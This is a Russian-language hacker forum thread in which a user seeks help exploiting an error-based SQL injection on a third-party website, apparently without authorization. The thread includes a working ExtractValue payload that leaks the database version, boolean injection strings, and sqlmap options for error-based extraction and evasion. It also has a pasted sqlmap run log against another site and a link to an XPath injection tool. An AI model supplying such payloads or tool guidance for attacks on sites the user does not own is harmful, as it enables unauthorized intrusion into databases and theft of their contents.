Проблема с SQL

Есть SQL
http://сайт ру/crysis-1'
SQLmmp не видит level и Risk не помогает
Как можно вьебать данную херню ?
'or(ExtractValue(1,concat(0x3a,(select(version())))))='1 (показует версию) могу увидеть название и самой BD но мне нужно автоматизировать

 

я дико извиняюсь , а разве sqlmap xpath видит ?

 

в душе не чаю

 

error based sqlmap видит, технику можно явно указать

Code:

--technique=E

B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind
Q: Inline queries

 

Code:

> sqlmap -u site/1'%22/forum/games/call-of-duty-games/call-of-duty-5-world-at-war/page2 --technique=E --dbs
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.1.10.9#dev}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 15:06:38

[15:06:38] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q]
[15:06:39] [INFO] testing connection to the target URL
sqlmap got a 301 redirect to 'http://www.site/1'%22/forum/games/call-of-duty-games/call-of-duty-5-world-at-war/page2'. Do you want to follow? [Y/n]
[15:06:40] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[15:06:40] [INFO] testing for SQL injection on URI parameter '#1*'
[15:06:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[15:06:42] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:06:43] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[15:06:45] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:06:47] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[15:06:48] [WARNING] URI parameter '#1*' does not seem to be injectable
[15:06:48] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Rerun without providing the option '--technique'. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp'). If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')

 

https://github.com/r0oth3x49/Xpath
пытаюсь через это мож прокатит

 

не прокатило

 

-v 3 добавь, увидишь какие запросы шлет sqlmap, плюс level/risk выстави

вообще если сайт плюётся ошибками на кавычку, то как то странно что скульмап его не видит

 

SQL injection on URI parameter '#1*' у тебя в линке. Ты жмякнул Y и он пошел не по той лабуде, а именно #1. Жмякни N и он пойдет по другому параметру. Если бурпом как вижу сканил, то мап 100% должен видеть уязвимость. Тем более в GET запросе. Пробуй указать принудительно тип базы данных, чтобы он по всем не шел. --dbms=MySQL

 

поверь не видет вообще не как

 

Пробуй указать принудительно тип базы данных, чтобы он по всем не шел. --dbms=MySQL

 

делал уже так

 

Почему топик чужой а стыдно мне?

Какой ещё склмап когда...... когда вам показывают SQL-ЗАПРОС ЦЕЛИКОМ? Тут всё как на ладони. Здесь вообще думать неочем. И обсуждать нечего.
Всё что осталось - это повторить этот запрос в локальном мускуле и добиться выполнения нужной выборки.

Если ты никогда не писал софт с использованием какого-либо sql то тебе не нужно этим заниматься. Ты не с того конца начал. Сначала надо научиться делать софт а потом уже его ломать. Но никак не наоборот.

Как тут человеку помочь? Только взять и самому всё сделать за него. Перепечатать запрос со скрина и повторить его на локалхосте, добиться чтоб нужная выборка сработала.

 

эй умник я рад что ты крут как яйца но мне нужно через sqlmamp

 

ты чего злой такой?

в общем сделай два запроса

Code:

'or'1
' or '1

задайся вопросом почему второй запрос падает с ошибкой, из коробки такую скулю вряд ли какой то софт раскрутит, скульмапу вроде можно шаблон для скули задавать, но я не помню как

 

я так понял ты не смог раскрутить sqlmamp )

 

Рандом агента добавлял? Прокси используешь или vpn? Из-за этого вряд ли, но можно только с рандомом попробовать. У тебя параметр id и GET запрос. Морковке скорми

 

Нет, морковка не скушает (пытался)

 

Я обновил sqlmamp теперь что то пошло

 

да я об этом как бы написал, а ты решил проигнорировать мой совет, чтож перебирай софт, может повезет)